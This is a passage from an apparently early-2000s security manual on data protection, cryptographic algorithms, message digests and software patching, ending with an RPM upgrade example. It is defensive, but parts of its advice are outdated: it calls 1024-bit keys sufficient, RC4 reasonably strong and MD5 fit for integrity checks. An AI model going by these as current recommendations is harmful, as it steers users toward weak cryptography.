You can never make something impossible to steal. But you can make stolen information virtually useless—provided that it is encrypted and the thief does not know the encryption key. For this reason, even with the best computer-security mechanisms and physical deterrents, sensitive information should be encrypted using an encryption system that is difficult to break. We recommend that you acquire and use a strong encryption system so that even if your computer is stolen, the sensitive information it contains will not be compromised.

Protecting Your Data

There is a strong overlap between the physical security of your computer systems and the confidentiality and integrity of your data. After all, if somebody steals your computer, they probably have your data. Unfortunately, there are many attacks on your data that may circumvent the physical measures mentioned in earlier sections.

Eavesdropping

Electronic *eavesdropping* is perhaps the most sinister type of data piracy. Even with modest equipment, an eavesdropper can make a complete transcript of a victim's actions—every keystroke and every piece of information viewed on a screen or sent to a printer. The victim, meanwhile, usually knows nothing of the attacker's presence and blithely goes about his or her work, revealing not only sensitive information but also the passwords and procedures necessary for obtaining even more information.

Tools exist for eavesdropping at many points, including the connection between the keyboard and the computer, data cables and wiring, Ethernet and fiber optic networks, wireless networks, and even by analyzing radio emissions from equipment. (PUIS, 216-219) There are several ways to make eavesdropping more difficult:

- Routinely inspect all cables and wires carrying data for physical damage or modification, and consider using shielded or armored cable to make wiretapping more difficult. If you are very security-conscious, place cable in steel conduit.
- Make sure unused offices do not have live Ethernet ports. Use Ethernet switches instead of hubs. Run LAN monitoring software like *arpwatch* that detects packets with previously unknown MAC addresses, or use switches that can perform MAC address filtering. Use fiber optic cables in preference to twisted-pair networks when possible; they are harder to tap undetected.
- Avoid using wireless networks; if you must build a wireless network, enable all possible security features for defense-in-depth (e.g. encryption, firewalling, disabling SSID broadcasts, MAC filters, etc.) Because most of these features provide very little security, educate your users to always use a VPN or other encrypted tunnel for wireless networking. Place the wireless access point outside your firewall (or between two firewalls).
- Encryption provides significant protection against eavesdropping. Thus, in many cases, it makes sense to assume that your communications are being monitored and to encrypt all communications as a matter of course. When this is not feasible, at least encrypt all sensitive traffic (such as login names and passwords for remote services).

Protecting Backups

Backups should be a prerequisite of any computer operation—secure or otherwise—but the information stored on backup tapes is extremely vulnerable. Protect your backups at least as well as you normally protect your computers themselves. Never leave them unattended in a generally accessible area, keep then in physically secure locations (ideally, some in a location away from your computers) and be careful who you trust to ship them from location to location.

Most backup programs allow you to encrypt the data before it is written to backup. Encrypted backups dramatically reduce the chance that a backup tape or CD-ROM, if stolen, will be useful to an adversary. If you encrypt backups, be sure you protect the encryption key, both so that an attacker cannot learn it and so that your key will not be lost if you should change staff.

Sometimes, backups in archives are slowly erased by environmental conditions. Magnetic tape is also susceptible to a process called *print through*, in which the magnetic domains on one piece of tape wound on a spool affect the next layer. The only way to find out if this process is harming your backups is to test them periodically.

A surprisingly common problem is inadequate labeling and inventorying of backup media. You can choose any system of labeling and cataloging that you find effective, as long as you choose one and document it clearly.

Sanitizing Media Before Disposal

When you discard disk drives, CD-ROMs, or tapes, make sure that the data on the media has been completely erased. This process is called *sanitizing*.

Simply deleting a file that is on your hard disk doesn't delete the data associated with the file. Parts of the original data—and sometimes entire files—can usually be easily recovered. Hard disks must be sanitized with special software that is specially written for each particular disk drive's model number and revision level.

For tapes, you can use a degaussing machine or bulk eraser—a hand-held electromagnet that has a hefty field. Experiment with reading back the information stored on tapes that you have "bulk erased" until you know how much erasing is necessary to eliminate your data.

Some software exists to overwrite optical media, thus erasing the contents of even write-once items. However, the effectiveness of these methods varies from media type to media type, and the overwriting may still leave some residues. For this reason, physical destruction may be preferable.

Incinerators and acid baths do a remarkably good job of destroying tapes, but are not environmentally friendly. Until recently, crushing was preferred for hard disk drives and disk packs. But as disk densities get higher and higher, disk drives must be crushed into smaller and smaller pieces to frustrate laboratory analysis of the resulting material. Degaussing machines are available for hard drives, but expensive. As a result, physical destruction is losing popularity when compared with software-based techniques.

One common sanitizing method involves overwriting the entire disk or tape. If you are dealing with highly confidential or security-related materials, you may wish to overwrite the disk or tape several times, because data can be recovered from tapes that have been overwritten only once. Commonly, tapes are overwritten three times—once with blocks of 0s, then with blocks of 1s, and then with random numbers. Finally, the tape may be run through a band saw several times to reduce it to thousands of tiny pieces of plastic.

Sanitizing Printed Media

Printed material that may find its way into the trash may contain information that is useful to criminals or competitors. This includes printouts of software (including incomplete versions), memos, design documents, preliminary code, planning documents, internal newsletters, company phone books, manuals, and other material. Other information that may find its way into your dumpster includes the types and versions of your operating systems and computers, serial numbers, patch levels, and so on. It may include hostnames, IP numbers, account names, and other information critical to an attacker. We have heard of some firms disposing of listings of their complete firewall configuration and filter rules—a gold mine for someone seeking to infiltrate the computers.

Consider investing in shredders for each location where information of value might be thrown away. Educate your users not to dispose of sensitive material in their refuse at home, but to bring it in to the office to be shredded. If your organization is large enough and the law allows, you may also wish to incinerate some sensitive paper waste on-site.

Protecting Local Storage

In addition to computers and mass-storage systems, many other pieces of electrical data-processing equipment store information. For example, terminals, modems, and laser printers often have memory buffers that may be downloaded and uploaded with appropriate control sequences.

Naturally, any piece of memory that is used to hold sensitive information presents a security problem, especially if that piece of memory is not protected with a password, encryption, or other similar mechanism. However, the local storage in many devices presents an additional security problem, because sensitive information is frequently copied into such local storage without the knowledge of the computer user.

Unattended Terminals

Unattended terminals where users have left themselves logged in present a special attraction for vandals (as well as for computer crackers). A vandal can access the person's files with impunity. Alternatively, the vandal can use the person's account as a starting point for launching an attack against the computer system or the entire network: any tracing of the attack will *usually* point fingers back toward the account's owner, not to the vandal. You should never leave terminals unattended for more than short periods of time.

Some systems or screensavers have the ability to log a user off automatically—or at least to blank his screen and lock his keyboard—when the user's terminal has been idle for more than a few minutes. Take advantage of these features.

Key Switches

Some kinds of computers have key switches that can be used to prevent the system from being rebooted in single-user mode. Some computers also have ROM monitors that prevent the system from being rebooted in single-user mode without a password. Sun's OpenBoot system and all new Macintosh systems support a password to control boot configuration access.

Key switches and ROM monitor passwords provide additional security and should be used when possible.[210] However, you should also remember that any computer can be unplugged. The most important way to protect a computer is to restrict physical access to that computer.

[210] There's another good reason to set ROM monitor passwords. Consider what would happen if an attacker found a machine, set the password himself, and turned it off.

CHAPTER 4.
INFORMATION SECURITY

At a Glance

This chapter focuses on mechanisms for protecting information from unwanted exposure, tampering, or destruction. These aspects of security are usually referred to as *confidentiality*[211] – preventing unauthorized users from accessing or modifying data and programs – and *integrity* – insuring that information and software remain intact and correct. The discussion here is largely conceptual, though examples of the application several principles on actual systems are given.

Cryptography

Cryptography is a collection of mathematical techniques for protecting information. Using cryptography, you can transform written words and other kinds of messages so that they are unintelligible to anyone who does not possess a specific mathematical key necessary to unlock the message. The process of using cryptography to scramble a message is called *encryption*. The process of unscrambling the message by use of the appropriate key is called *decryption*.

Cryptography is used to prevent information from being accessed by an unauthorized recipient. In theory, once a piece of information is encrypted, that information can be accidentally disclosed or intercepted by a third party without compromising the security of the information, provided that the key necessary to decrypt the information is not disclosed and that the method of encryption will resist attempts to decrypt the message without the key.

In addition to enhancing confidentiality, cryptography has also been used to insure message integrity and non-repudiation.

Cryptographic Algorithms and Functions

There are fundamentally two kinds of encryption algorithms:

Symmetric key algorithms
With these algorithms, the same key is used to encrypt and decrypt the message. Symmetric key algorithms are sometimes called secret key algorithms and sometimes called private *key algorithms*. Unfortunately, both of these names are easily confused with public *key algorithms*, which are unrelated to symmetric key algorithms. Symmetric key algorithms can be divided into two categories: block and stream. *Block algorithms* encrypt data a block (many bytes) at a time, while *stream algorithms* encrypt byte-by-byte (or even bit-by-bit).

Asymmetric key algorithms
With these algorithms, one key is used to encrypt the message and another key to decrypt it. A particularly important class of asymmetric key algorithms are public key cryptosystems. The encryption key is normally called the *public key* in these algorithms because it can be made publicly available without compromising the secrecy of the message or the decryption key. The decryption key is normally called the *private key* or *secret key*.

Symmetric key algorithms are the workhorses of modern cryptographic systems. They are generally much faster than public key algorithms. They are also somewhat easier to implement. And finally, it is generally easier for cryptographers to ascertain the strength of symmetric key algorithms. Unfortunately, symmetric key algorithms have three problems that limit their use in the real world:

[211] Or privacy, which is sometimes used interchangeably with confidentiality and sometimes refers more specifically to protecting personally identifiable information about individuals.

- For two parties to securely exchange information using a symmetric key algorithm, those parties must first exchange an encryption key. Exchanging an encryption key in a secure fashion can be quite difficult.
- As long as they wish to send or receive messages, both parties must keep a copy of the key, and must keep it safe. If one party's copy is compromised and the second party doesn't know this fact, then the second party might send a message to the first party—and that message could then be subverted using the compromised key.
- If each pair of parties wishes to communicate in private, then they need a unique key. This requires $(N2 - N) / 2$ keys for N different users. This number quickly becomes unmanageable.

Public key algorithms overcome these problems by separating the encryption and decryption keys. In theory, public key technology makes it relatively easy to send somebody an encrypted message. People who wish to receive encrypted messages will typically publish their public keys in directories or make their keys otherwise readily available. Then, to send somebody an encrypted message, all you have to do is get a copy of her public key, encrypt your message, and send it to her. With a good public key system, you know that the only person who can decrypt the message is the person who has possession of the matching private key. Furthermore, all you really need to store on your own machine is your private key (though it's convenient and unproblematic to have your public key available as well.)

Public key cryptography can also be used for creating digital signatures. Like a real signature, a *digital signature* is used to denote authenticity or intention. For example, you can sign a piece of electronic mail to indicate your authorship in a manner akin to signing a paper letter. And as with signing a bill of sale agreement, you can electronically sign a transaction to indicate that you wish to purchase or sell something. Using public key technology, you use the private key to create the digital signature; others can then use your matching public key to verify the signature.

Unfortunately, public key algorithms are computationally expensive. In practice, public key encryption and decryption require as much as 1000 times more computer power than an equivalent symmetric key encryption algorithm.

To get both the benefits of public key technology and the speed of symmetric encryption systems, most modern encryption systems actually use a combination:

Hybrid public/private cryptosystems
With these systems, slower public key cryptography is used to exchange a random session key, which is then used as the basis of a private (symmetric) key algorithm. (A session key is used only for a single encryption session and is then discarded.) Nearly all practical public key cryptography implementations are actually hybrid systems.

Finally, there is a special class of functions that are almost always used in conjunction with public key cryptography. These algorithms are not encryption algorithms at all. Instead, they are used to create a "fingerprint" of a file or a key:

Message digest functions
A message digest function generates a seemingly random pattern of bits for a given input. The digest value is computed in such a way that finding a different input that will exactly generate the given digest is computationally infeasible. Message digests are often regarded as fingerprints for files. Most systems that perform digital signatures encrypt a message digest of the data rather than the actual file data itself.

Cryptographic Strength of Symmetric Algorithms

Different encryption algorithms are not equal. Some systems are not very good at protecting data, allowing encrypted information to be decrypted without knowledge of the requisite key. Others are quite resistant to even the most determined attack. The ability of a cryptographic system to protect information from attack is called its *strength*. Strength depends on many factors, including:

- The secrecy of the key.
- The difficulty of guessing the key or trying out all possible keys (a key search). Longer keys are generally more difficult to guess or find.
- The difficulty of inverting the encryption algorithm without knowing the encryption key (*breaking* the encryption algorithm).
- The existence (or lack) of *back doors*, or additional ways by which an encrypted file can be decrypted more easily without knowing the key.
- The ability to decrypt an entire encrypted message if you know the way that a portion of it decrypts (called a *known plaintext attack*).
- The properties of the plaintext and knowledge of those properties by an attacker. For example, a cryptographic system may be vulnerable to attack if all messages encrypted with it begin or end with a known piece of plaintext.

In general, cryptographic strength is not proven; it is only disproven. When a new encryption algorithm is proposed, the author of the algorithm almost always believes that the algorithm offers complete security—that is, the author believes there is no way to decrypt an encrypted message without possession of the corresponding key. After all, if the algorithm contained a known flaw, then the author would not propose the algorithm in the first place (or at least would not propose it in good conscience).

As part of studying the strength of an algorithm, a mathematician can show that the algorithm is resistant to specific kinds of attacks that have been previously shown to compromise other algorithms. Unfortunately, even an algorithm that is resistant to every known attack is not necessarily secure, because new attacks are constantly being developed.

From time to time, some individuals or corporations claim that they have invented new symmetric encryption algorithms that are dramatically more secure than existing algorithms. Generally, these algorithms should be avoided. As there are no known attacks against the encryption algorithms that are in wide use today, there is no reason to use new, unproven encryption algorithms—algorithms that might have flaws lurking in them.

Key Length with Symmetric Key Algorithms

Short keys can significantly compromise the security of encrypted messages, because an attacker can merely decrypt the message with every possible key so as to decipher the message's content. But while short keys provide comparatively little security, extremely long keys do not necessarily provide significantly more practical security than keys of moderate length. That is, while keys of 40 or 56 bits are not terribly secure, a key of 256 bits does not offer significantly more real security than a key of 168 bits, or even a key of 128 bits.

If you are attempting to decrypt a message and do not have a copy of the key, the simplest way to decrypt the message is to do a *brute force attack*. These attacks are also called *key search attacks*, because they involve trying every possible key to see if that key decrypts the message. If the key is selected at random, then on average, an attacker will need to try half of all the possible keys before finding the actual decryption key.

Inside a computer, a cryptographic key is represented as a string of binary digits. Each binary digit can be a 0 or a 1. In general, each added key bit doubles the number of keys. So how many bits is enough? That depends on how fast the attacker can try different keys and how long you wish to keep your information secure. If an attacker can try only 10 keys per second, then a 40-bit key will protect a message for more than 3,484 years. Of course, today's computers can try many thousands of keys per second—and with special-purpose hardware and software, they can try hundreds of thousands. Key search speed can be further improved by running the same program on hundreds or thousands of computers at a time. Thus, it's possible to search a million keys per second or more using today's technology. If you have the ability to search a million keys per second, you can try all 40-bit keys in only 13 days. If a key that is 40 bits long is clearly not sufficient to keep information secure, how many bits are necessary? If you could search a billion keys per second, trying all 80-bit keys would still require 38 million years. A 128-bit key search would require 10^{22} years with current technology, and hundreds of millions of years even with advances in quantum computing. As our Sun is likely to become a red giant within the next 4 billion years and, in so doing, destroy the Earth, a 128-bit encryption key should be sufficient for most cryptographic uses, assuming that there are no other weaknesses in the algorithm used.

Common Symmetric Key Algorithms

There are many symmetric key algorithms in use today. Some of the algorithms that are commonly encountered in the field of computer security are summarized below; a more complete list of algorithms is in (PUIS, 169-176):

DES

The Data Encryption Standard was adopted as a U.S. government standard in 1977 and as an ANSI standard in 1981. The DES is a block cipher that uses a 56-bit key and has several different operating modes depending on the purpose for which it is employed. The DES is a strong algorithm, but today the short key length limits its use. Indeed, in 1998 a special-purpose machine for "cracking DES" was created by the Electronic Frontier Foundation (EFF) for under $250,000. In one demonstration, it found the key to an encrypted message in less than a day in conjunction with a coalition of computer users around the world.

Triple-DES

Triple-DES is a way to make the DES dramatically more secure by using the DES encryption algorithm three times with three different keys, for a total key length of 168 bits. Also called "3DES," this algorithm has been widely used by financial institutions and by the Secure Shell program (*ssh*). Simply using the DES twice with two different keys does not improve its security to the extent that one might at first suspect because of a theoretical kind of known plaintext attack called *meet-in-the-middle*, in which an attacker simultaneously attempts encrypting the plaintext with a single DES operation and decrypting the ciphertext with another single DES operation, until a match is made in the middle.

Blowfish

Blowfish is a fast, compact, and simple block encryption algorithm invented by Bruce Schneier. The algorithm allows a variable-length key, up to 448 bits, and is optimized for execution on 32- or 64-bit processors. The algorithm is unpatented and has been placed in the public domain. Blowfish is used in the Secure Shell and other programs.

IDEA

The International Data Encryption Algorithm (IDEA) was developed in Zurich, Switzerland, by James L. Massey and Xuejia Lai and published in 1990. IDEA uses a 128-bit key. IDEA is used by the popular program PGP to encrypt files and electronic mail. Unfortunately, wider use of IDEA has been hampered by a series of software patents on the algorithm, which are currently held by Ascom-Tech AG in Solothurn, Switzerland.

RC4
This stream cipher was originally developed by Ronald Rivest and kept as a trade secret by RSA Data Security. The algorithm was revealed by an anonymous Usenet posting in 1994 and appears to be reasonably strong. RC4 allows keys between 1 and 2048 bits.

Rijndael (AES)
This block cipher was developed by Joan Daemen and Vincent Rijmen, and chosen in October 2000 by the National Institute of Standards and Technology to be the United State's new Advanced Encryption Standard. Rijndael is an extraordinarily fast and compact cipher that can use keys that are 128, 192, or 256 bits long.
Cryptographers establish the strength of their algorithms through a process of peer review. When an algorithm is published, other cryptographers may look for flaws or weaknesses. Do not trust people who say they've developed a new encryption algorithm, but also say that they don't want to disclose how the algorithm works because such disclosure would compromise the strength of the algorithm. In practice, there is no way to keep an algorithm secret: true security lies in openness.

On the other hand, it's important to realize that simply publishing an algorithm or a piece of software does not guarantee that flaws will be found. The WEP (Wired Equivalent Protocol) encryption algorithm used by the 802.11 networking standard was published for many years before a significant flaw was found in the algorithm—the flaw had been there all along, but no one had bothered to look for it.

One-Time Pads

There is a provably unbreakable symmetric key cryptosystem – the one-time pad system. In a one-time pad system, the communicating parties share a key composed of a very long stream of random bytes (longer than the message that is to be sent). The message is encrypted and decrypted by transforming each byte of the message by a byte of the key, after which that key byte is discarded and never used again. Because the key is random and nonrepeating, even a key search attack is infeasible, because every possible message can be produced by some key.

Unfortunately, one-time pads have several limitations that make them impractical. In addition to the usual symmetric encryption problems of securely distributing and managing keys, generating large amounts of truly random data is not always straightforward, and distributing large amounts of key material can be difficult. Nevertheless, this system is sometimes used for extremely high-security communications links.

Public Key Algorithms

Public key algorithms are more difficult to create than symmetric key algorithms, and there are fewer in use. Because the keys of symmetric and asymmetric encryption algorithms are used in fundamentally different ways, it is not possible to infer the relative cryptographic strength of these algorithms by comparing the length of their keys – key lengths in public key algorithms typically range from 512 to 2048 or 4096 bits; for most users, 1024 bits are sufficient for the foreseeable future. The following list summarizes the public key systems in common use today:

Diffie-Hellman key exchange
A system for exchanging cryptographic keys between active parties. Diffie-Hellman is not actually a method of encryption and decryption, but a method of developing and exchanging a shared private key over a public communications channel. In effect, the two parties agree to some common numerical values, and then each party creates a key. Mathematical transformations of the keys are exchanged. Each party can then calculate a third session key that cannot easily be derived by an attacker who knows both exchanged values.

DSA/DSS

The Digital Signature Standard (DSS) was developed by the U.S. National Security Agency and adopted as a Federal Information Processing Standard (FIPS) by the National Institute for Standards and Technology. DSS is based on the Digital Signature Algorithm (DSA). Although DSA allows keys of any length, only keys between 512 and 1024 bits are permitted under the DSS FIPS. As specified, DSS can be used only for digital signatures, although it is possible to use some DSA implementations for encryption as well.

Elliptic curves

Elliptic curve cryptosystems are public key encryption systems that are based on an elliptic curve rather than on a traditional logarithmic function. The advantage to using elliptic curve systems stems from the fact that there are no known computationally feasible algorithms for computing discrete logarithms of elliptic curves. Thus, short keys in elliptic curve cryptosystems can offer a high degree of confidentiality and security, while remaining very fast to calculate. Elliptic curves can also be computed very efficiently in hardware.

RSA

RSA is a well-known public key cryptography system developed in 1977 by three professors then at MIT: Ronald Rivest, Adi Shamir, and Leonard Adleman. RSA can be used both for encrypting information and as the basis of a digital signature system. Digital signatures can be used to prove the authorship and authenticity of digital information. The key may be any length, depending on the particular implementation used.

Message Digest Functions

Message digest functions distill the information contained in a file (small or large) into a single large number, typically between 128 and 256 bits in length. The best message digest functions combine these mathematical properties:

a. Every bit of the message digest function's output is potentially influenced by every bit of the function's input.
b. If any given bit of the function's input is changed, every output bit has a 50 percent chance of changing.
c. Given an input file and its corresponding message digest, it should be computationally infeasible to find another file with the same message digest value.

In theory, two different files can have the same message digest value. This is called a *collision*. For a message digest function to be secure, it should be computationally infeasible to find or produce these collisions.

Many message digest functions have been proposed and are now in use. Here are a few:

MD2

Message Digest #2, developed by Ronald Rivest. This message digest is probably the most secure of Rivest's message digest functions, but takes the longest to compute. As a result, MD2 is rarely used. MD2 produces a 128-bit digest.

MD4

Message Digest #4, also developed by Ronald Rivest. This message digest algorithm was developed as a fast alternative to MD2. Subsequently, MD4 was shown to have a possible weakness. That is, it may be possible to find a file that produces the same MD4 as a given file without requiring a brute force search (which would be infeasible for the same reason that it is infeasible to search a 128- bit keyspace). MD4 produces a 128-bit digest.

MD5

Message Digest #5, also developed by Ronald Rivest. MD5 is a modification of MD4 that includes techniques designed to make it more secure. Although widely used, in the summer of 1996 a few flaws were discovered in MD5

that allowed some kinds of collisions in a weakened form of the algorithm to be calculated. As a result, MD5 is slowly falling out of favor. MD5 and SHA-1 are both used in SSL and in Microsoft's Authenticode technology. MD5 produces a 128-bit digest.

SHA
The Secure Hash Algorithm, related to MD4 and designed for use with the National Institute for Standards and Technology's Digital Signature Standard (NIST's DSS). Shortly after the publication of the SHA, NIST announced that it was not suitable for use without a small change. SHA produces a 160-bit digest.

SHA-1
The revised Secure Hash Algorithm incorporates minor changes from SHA. It is not publicly known if these changes make SHA-1 more secure than SHA, although many people believe that they do. SHA-1 produces a 160-bit digest.

SHA-256, SHA-384, SHA-512
These are, respectively, 256-, 384-, and 512-bit hash functions designed to be used with 128-, 192-, and 256-bit encryption algorithms. These functions were proposed by NIST in 2001 for use with the Advanced Encryption Standard.

Besides these functions, it is also possible to use traditional symmetric block encryption systems such as the DES as message digest functions. To use an encryption function as a message digest function, simply run the encryption function in cipher feedback mode. For a key, use a key that is randomly chosen and specific to the application. Encrypt the entire input file. The last block of encrypted data is the message digest. Symmetric encryption algorithms produce excellent hashes, but they are significantly slower than the message digest functions described previously.

Message digest functions are a powerful tool for detecting very small changes in very large files or messages; calculate the MD5 code for your message and set it aside. If you think that the file has been changed (either accidentally or on purpose), simply recalculate the MD5 code and compare it with the MD5 that you originally calculated. If they match, you can safely assume that the file was not modified.

Because of their properties, message digest functions are also an important part of many cryptographic systems in use today. Message digests are the basis of most digital signature standards. Instead of signing the entire document, most digital signature standards specify that the message digest of the document be calculated. It is the message digest, rather than the entire document, which is actually signed.

Message digests can also be readily used for message authentication codes that use a shared secret between two parties to prove that a message is authentic. MACs are appended to the end of the message to be verified. (RFC 2104 describes how to use keyed hashing for message authentication.) MACs based on message digests provide the "cryptographic" security for most of the Internet's routing protocols.

Maintaining Integrity

Maintaining the integrity of information stored on your computers is critical to overall security and reliable operation. You must insure the integrity of your operating system, the integrity of your applications, and the integrity of your data. For operating systems and applications, this requires not only monitoring for unwanted changes to your software, but also applying necessary security patches and updates to keep your software protected.

Keeping Systems Up to Date

From the moment a workstation or server is connected to the Internet, it is open to discovery and attempted access by unwanted outsiders. Attackers find new Internet hosts with amazing speed. Detailed reports on the

aggressiveness of attackers can be found at the website maintained by The Honeynet Project, http://project.honeynet.org/. In one case, a newly-configured Honeynet system was successfully penetrated 15 minutes after the computer was placed on the network. It is thus imperative that any system that will be on a network be kept up-to-date with security fixes – both before connecting it to the network and after.

Software Management Systems

A software management system is a set of tools and procedures for keeping track of which versions of what software you've got installed, and whether any local changes have been made to the software or its configuration files. Without such a system, it is impossible to know whether a piece of software needs to be updated or what local changes have been made and need to be preserved after the update. Using some software management system to keep up-to-date is essential for security purposes, and useful for non-security upgrades as well.

Fortunately, nearly all Unix systems and Microsoft NT-based systems provide some form of software management for the core components of the operating system and applications distributed with it. The most common approaches are managing packages — precompiled executables and supporting files — and managing the software source code from which executables can be compiled and installed.

Package-based Systems

A typical package file is a file containing a set of executable programs, already compiled, along with any supporting files such as libraries, default configuration files, and documentation. Under most packaging systems, the package also contains some meta-data, such as:

- Version information for the software it contains
- Information about compatible operating system versions or hardware architectures
- Lists of other packages that the package requires
- Lists of other packages with which the package conflicts
- Lists of which included files are configuration files (or otherwise likely to be changed by users once installed)
- Commands to run before, during, or after the included files are installed

The other important component of a package-based system is a database of which versions of which packages have been installed on the system. On Windows systems, the Registry often serves this purpose.

Package-based systems are easy to use: with a simple command or two, a system administrator can install new software or upgrade their current software when a new or patched version is released. Because the packaged executables are already compiled for the target operating system and hardware platform, the administrator doesn't have to spend time building (and maybe even porting) the application.

On the other hand, packages are compiled to work on the typical installation of the operating system, and not necessarily on your installation. If you need to tune your applications to work with some special piece of hardware, adapt them to an unusual authentication system, or simply compile them with an atypical configuration setting, source code will likely be more useful to you, if it is available. This is often the case with the kernel on Unix operating systems, for example.

Commercial systems that don't provide source code are obvious candidates for package-based management. Solaris 2.x, for example, provides the *pkgadd, pkgrm, pkginfo*, and *showrev* commands (and others) for adding, removing, and querying packages from the shell, and *admintool* for managing software graphically. Microsoft Windows systems use the web-based Windows Update to download and install updates to the operating system and core utilities.

Package management isn't only for commercial systems. Free software Unix distributions provide package management systems to make it easier for system administrators to keep the system up to date. Several Linux distributions have adopted the RPM Package Manager (RPM) system. This system uses a single command, *rpm*, for all of its package management functions. Debian GNU/Linux uses an alternative package management system called *dpkg*. The BSD-based Unix systems focus on source-based updates, but also provide a collection of precompiled packages that are managed with the *pkg_ add, pkg_delete,* and *pkg_info* commands.

Source-based Systems

In contrast to package-based systems, source-based systems focus on helping the system administrator maintain an up-to-date copy of the operating system's or application's source code, from which new executables can be compiled and installed. Source-based management has its own special convenience: a source-based update comes in only a single version, as opposed to compiled packages, which must be separately compiled and packaged for each architecture or operating system on which the software runs. Source-based systems can also be particularly useful when it's necessary to make local source code changes.

From a security standpoint, building packages from source-code can be a mixed blessing. On the one hand, you are free to inspect the source-code and determine if there are any lurking bugs or Trojan horses. In practice, such inspection is difficult and rarely done. Moreover, if an attacker can get access to your source code, it is not terribly difficult for the attacker to add a Trojan horse of her own! To avoid this problem, you need to be sure both that the source code you are compiling is for a reliable application and that you have the genuine source code.

Source code and patches
The simplest approach to source management is to keep application source code available on the system and recompile it whenever it's changed. When a patch to an application is released, it typically takes the form of a *patch diff*, a file that describes which lines in the old version should be changed, removed, or added to in order to produce the new version. The *diff* program produces these files, and the patch program is used to apply them to an old version to create the new version. After patching the source code, the system administrator recompiles and reinstalls the application.

For example, FreeBSD and related versions of Unix distribute many applications in their ports collection. An application in the *ports* collection consists of the original source code from the application's author along with a set of patches that have been applied to better integrate the application into the BSD environment. The makefiles included in the ports system automatically build the application, install it, and then register the application's files with the BSD *pkg_add* command. This approach is widely used for maintaining third-party software on FreeBSD systems.

CVS
Another approach to source management is to store the source code on a server using a source code versioning system such as the Concurrent Versions System (CVS), and configure the server to allow anonymous client connections. Users who want to update their source code to the latest release use the cvs program to "check out" the latest patched version from the remote server's repository. The updated code can then be compiled and installed.

FreeBSD, NetBSD, and OpenBSD use CVS to distribute and maintain their core operating system software through CVS. In addition, tens of thousands of open source software projects maintain CVS servers of their own, or are hosted at sites such as sourceforge.net that provide CVS repositories. A good reference on CVS is Essential CVS, published by O'Reilly and Associates.

Updating System Software

It is imperative that you ensure that patches are available for all known security problems in the software you run, that you find those patches, and that you apply them – ideally, before the system is connected to a network. Similarly, once the system is up and running, you must be vigilant to learn about newly discovered security problems in your operating system and applications so as to apply patches for them as they become available.

The most secure way to patch a new installation is to download the patches to another computer that's already connected to the Internet and updated with the latest security patches (perhaps a Mac or PC client that runs no server services). Once downloaded, they can be burned onto a CD or transferred to the new system using a local network connection, and applied. This approach is also convenient if you have many computers running the same operating system to update, and a slow network connection. Updates can be transferred once, and then applied on each machine from the CD. For Microsoft systems, the Windows Update Catalog web site provides downloadable updates that can be used in this fashion.

If no other Internet-connected host is available or suitable, the new host may have to be connected before the patches are applied. In this case, disable all network servers on the machine, and make the connection as brief as possible — only long enough to download the required patches — and then physically remove the machine from the network while the patches are applied. This process can be made even more secure if the machine's connection can be protected by a stateful firewall or a router that implements network address translation, so that the only packets that can reach the new host are those associated with a connection initiated by the new host.

You can't stay up-to-date with software that you don't know you've installed. An important component of any ongoing updating process is to inventory your system and keep track of new applications that you've installed. Operating systems that use packages usually provide commands that will let you determine which packages you have installed. Source-based software management typically relies on keeping all of the source code to the installed applications in a single location where it can be easily found.

Learning about patches

There are several avenues for learning about security problems and patches for operating systems and applications.

- Every Unix operating system and most major applications, such as web servers, has an associated mailing list for announcements of new versions. Microsoft offers e-mail notification of security bulletins through the Microsoft Profile Center (http://register.microsoft.com/regsys/pic.asp). Many vendors maintain a separate list for announcements of security-related issues. Subscribe to these lists and pay attention to the messages.
- Several mailing lists, such as BugTraq and NT-BugTraq, collect and distribute security alerts for many products. Subscribe to these lists (perhaps in digest form) and pay attention to the messages.
- Many operating system and application developers post security and release announcements in relevant USENET newsgroups (for example, the BIND name server announcements appear in *comp.protocols.dns.bind*). Skim these newsgroups regularly.
- If your vendor provides a subscription patch CD service, consider subscribing. Although these CDs may not provide up-to-the-minute patches, they can save a lot of time when bringing up a new system by reducing the number of patches that need to be downloaded.
- Automatic update systems compare installed packages with the latest versions of packages available on the vendor's web site and report which packages are out-of-date. Most also can be configured to automatically download and install the upgraded packages, which can be useful if you don't change your configuration from the vendor defaults, and you trust the vendor to upgrade your system. Some can be run automatically on a scheduled basis; others must be run manually.
- Finally, you can manually check the vendor's website on a regular basis for new versions of software.

Once you learn about a security patch, don't wait – apply it immediately. Vulnerabilities that become public begin to be exploited almost immediately. (Patches that add new features, rather than fixing security vulnerabilities, do not require the same urgency).

Downloading and Verifying Patches

Whether you use packages or source code, you've got to get the files from somewhere. Vendors typically make their applications available on the Internet through the World-Wide Web or an anonymous FTP site. When an operating system or application is popular, however, a single Web site or FTP site can't keep up with the demand to download it, so many software vendors arrange to have other sites serve as mirrors for their site. Users are encouraged to download the software from the mirror site closest (in network geography) to them. In principle, all of the software on the vendor's site is replicated to each mirror site on a regular (often daily) basis.

Mirror sites provide an important security benefit, by making the availability of software more reliable through redundancy. They are also useful when you have a fast network connection to the mirror site, but a slow connection to the principal site. On the other hand, mirror sites also create some security concerns:

- The administrators of the mirror site control their local copies of the software, and may have the ability to corrupt it, replace it with a trojaned version, etc. You must trust not only the vendor but also the administrators of the mirror site. If the vendor distributes digital signatures along with the software (for example, detached PGP signatures with source code archives, gnupg signatures in rpm files, or ActiveX code signatures), you can be more sure that you're receiving the software as released by the vendor, as long as you acquire the vendor's public key directly – not through the mirror! Some update systems automatically check signatures before an update will be applied.
- Even if you trust the mirror, daily updating may not be fast enough. If a critical security patch is released, you may not have time to wait 24 hours for your local mirror to be updated. In these cases, there is no substitute for downloading the patch directly from the vendor as soon as possible.

Using a mirror site is thus a trade-off between the convenience of being able to get a high-speed download when you want it, and the necessity to possibly extend your trust to a third party.

Be very wary of applying patches found in mailing lists and on bulletin boards: at worst, they may be planted to trick people into installing a new vulnerability. At best, they are often produced by inexperienced programmers whose systems are unlike yours, so their solutions may cause more damage than they fix.

Upgrading applications

Under Unix-based package management systems, upgrading a package is usually a very simple procedure. For example, to upgrade the bzip2-devel package on a system that uses the RPM package manager:

```
# ls -l *.rpm
-rw-r--r--  1 root   root    33708 Apr 16 23:15 bzip2-devel-1.0.2-2.i386.rpm
# rpm -K bzip2-devel-1.0.2-2.i386.rpm                Check the checksum and signature)
bzip2-devel-1.0.2-2.i386.rpm: md5 OK
# rpm -Uvh bzip2-devel-1.0.2-2.i386.rpm          Upgrade the package
Preparing...          ########################################### [100%]
   1:bzip2-devel      ########################################### [100%]
# rpm -q bzip2-devel                          Confirm that the version is now 1.0.2-2
bzip2-devel-1.0.2-2
```

